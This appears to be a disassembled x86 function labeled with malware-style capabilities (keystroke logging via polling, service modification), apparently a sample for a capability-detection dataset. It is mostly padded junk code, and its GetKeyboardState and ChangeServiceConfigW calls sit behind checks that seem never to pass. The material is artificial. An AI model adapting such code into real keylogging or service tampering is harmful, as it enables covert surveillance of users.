Function at 0x48ff50
Capabilities:
Log keystrokes via polling
Modify service

Disassembly:
mov eax, 0x4bcd95
call fcn.004bbda0
sub esp, 0x90
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x1c], 0x6812
xor ebx, ebx
cmp dword [ebp - 0x1c], 0x6ba1
jle 0x490006
push ebx
push 0x1aa0
push 0x1b31
push 0xbef
push 0x1c61
push 0x1742
call dword [sym.imp.GDI32.dll_PatBlt]
mov esi, ebx
xor edi, edi
inc edi
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov ecx, ebx
mov dword [ebp - 0x28], ebx
add eax, ecx
and eax, esi
cdq
push edx
push eax
lea ecx, [ebp - 0x84]
call fcn.00401a01
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x48ffca
mov eax, dword [eax]
push eax
call fcn.004a68c7
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x84]
call fcn.00406da6
mov ecx, dword [ebp - 0x28]
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0x1aee
mov eax, dword [ebp - 0x20]
jl 0x48ffae
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x7dfe
jl 0x48ffa9
inc esi
cmp esi, 0x4709
jl 0x48ffa4
jmp 0x490009
xor edi, edi
inc edi
push edi
lea ecx, [ebp - 0x6c]
call fcn.00406726
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x1c], 0x66e9
jge 0x490029
push str.mylmwr_tgf_bpoczzmui
call fcn.004a68c7
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x490052
mov dword [ebp - 0x1c], 0x4a12b57e
mov dword [ebp - 0x14], ebx
jmp 0x49006e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x6c]
mov dword [eax + ecx*4], 0x99ac7894
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x49005e
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x490172
mov dword [ebp - 0x24], 0x474a
cmp dword [ebp - 0x24], 0x4901
jle 0x490116
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x30], ebx
mov eax, ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], 0xe5c
mov ecx, ebx
mov dword [ebp - 0x28], ecx
mov esi, dword [ebp - 0x14]
sar eax, cl
and eax, esi
cdq
push edx
push eax
lea ecx, [ebp - 0x9c]
call fcn.00401a01
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x4900c9
mov eax, dword [eax]
push eax
call fcn.004a68c7
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x9c]
call fcn.00406da6
mov ecx, dword [ebp - 0x28]
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0x1e24
mov eax, dword [ebp - 0x20]
jl 0x4900ad
mov esi, dword [ebp - 0x30]
add eax, esi
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x34]
jne 0x4900a5
inc esi
mov dword [ebp - 0x30], esi
cmp esi, 0x6b78
jl 0x490099
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x3228
jl 0x490096
mov byte [ebp - 0x15], bl
mov dword [ebp - 4], 2
cmp dword [ebp - 0x24], 0x43aa
jge 0x490134
push str.bwuj_hwixiocp_avwhhvm_qoce_ayazjkkc_cbuijkthb_wzthlestr
call fcn.004a68c7
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x49015d
cmp byte [ebp - 0x15], 0
je 0x49016a
push ebx
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
dec dword [ebp - 0x1c]
jmp 0x490076
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x49018c
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
lea ecx, [ebp - 0x6c]
call fcn.004067f8
mov dword [ebp - 0x30], 0xfff7
mov dword [ebp - 0x24], 0x15747814
mov dword [ebp - 0x34], 0x76715f0e
mov dword [ebp - 0x1c], 0x7a4bedcc
mov dword [ebp - 0x24], 0x23498e64
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
jmp 0x4901da
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x38], 0xff44cacf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x4901cc
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x20]
add ecx, eax
mov eax, dword [ebp - 0x24]
xor edx, edx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
inc edx
cmp edx, dword [ebp - 0x30]
jne 0x490211
cmp dword [ebp - 0x20], ebx
mov ecx, ebx
je 0x490213
mov ecx, edi
xor eax, eax
cmp ecx, 0x36fc75df
setge al
imul eax, eax, 0x71d6
cmp eax, 0x4087
jl 0x490232
cmp dword [ebp - 0x1c], ebx
mov ecx, ebx
je 0x490234
mov ecx, edi
mov eax, dword [ebp - 0x28]
dec eax
add ecx, eax
mov eax, dword [ebp - 0x30]
inc dword [ebp - 0x28]
cmp eax, ecx
jg 0x49024b
cmp dword [ebp - 0x38], ebx
mov eax, edi
jne 0x49024d
mov eax, ebx
mov dword [ebp - 0x1c], eax
push edi
lea ecx, [ebp - 0x44]
call fcn.00406726
mov dword [ebp - 0x1c], 0xd45b0e82
mov dword [ebp - 0x20], 0x413e458c
mov dword [ebp - 0x14], ebx
jmp 0x49027c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov dword [eax + ecx*4], 2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x49026c
mov dword [ebp - 0x14], ebx
jmp 0x490294
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x54], 0xc6f1bf50
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x490286
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx]
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x490335
mov ecx, eax
mov eax, dword [ebp - 0x4c]
sub eax, ecx
jne 0x4902ca
lea eax, [ecx + 3]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x44]
cmp eax, dword [ecx]
jne 0x4902cd
mov edx, ebx
jmp 0x4902cf
mov ecx, dword [ebp - 0x44]
mov edx, edi
xor eax, eax
cmp edx, 0x34d0
sete al
mov dword [ebp - 0x4c], eax
cmp eax, dword [ecx]
jle 0x490335
mov dword [ebp - 0x14], 0xed99ea7e
push edi
lea ecx, [ebp - 0x60]
call fcn.00406726
mov dword [ebp - 0x14], ebx
jmp 0x490302
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x60]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x4902f6
dec dword [ebp - 0x20]
mov dword [ebp - 0x14], ebx
jmp 0x490322
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x49031f
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff0
jl 0x49030f
lea ecx, [ebp - 0x60]
call fcn.004067f8
jmp 0x490416
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], 0xaf47dfb0
mov dword [ebp - 0x24], 0x86b464bb
mov dword [ebp - 0x14], ebx
jmp 0x490359
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2c], 0x2a4f2a6c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x49034b
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x44]
cmp dword [eax], 0xfffffffc
sete cl
mov eax, dword [ebp - 0x20]
imul eax, ecx
test eax, eax
je 0x490379
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov esi, dword [eax]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0xfffffff8
setl cl
xor edx, edx
cmp ecx, esi
setle dl
xor eax, eax
cmp edx, esi
setl al
imul eax, eax, 0xfffb
test eax, eax
je 0x4903a8
cmp dword [ebp - 0x2c], ebx
mov edx, edi
jne 0x4903aa
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, 0x257b06f8
setg cl
cmp ecx, 0x6691cfe0
jl 0x4903d4
cmp dword [ebp - 0x28], ebx
je 0x4903d6
mov ebx, edi
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp ebx, eax
setg cl
push 4
pop eax
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
sub eax, 2
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov ecx, 0xffff
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x44]
call fcn.004067f8
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov eax, dword [ebp - 0x48]
mov dword [eax], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret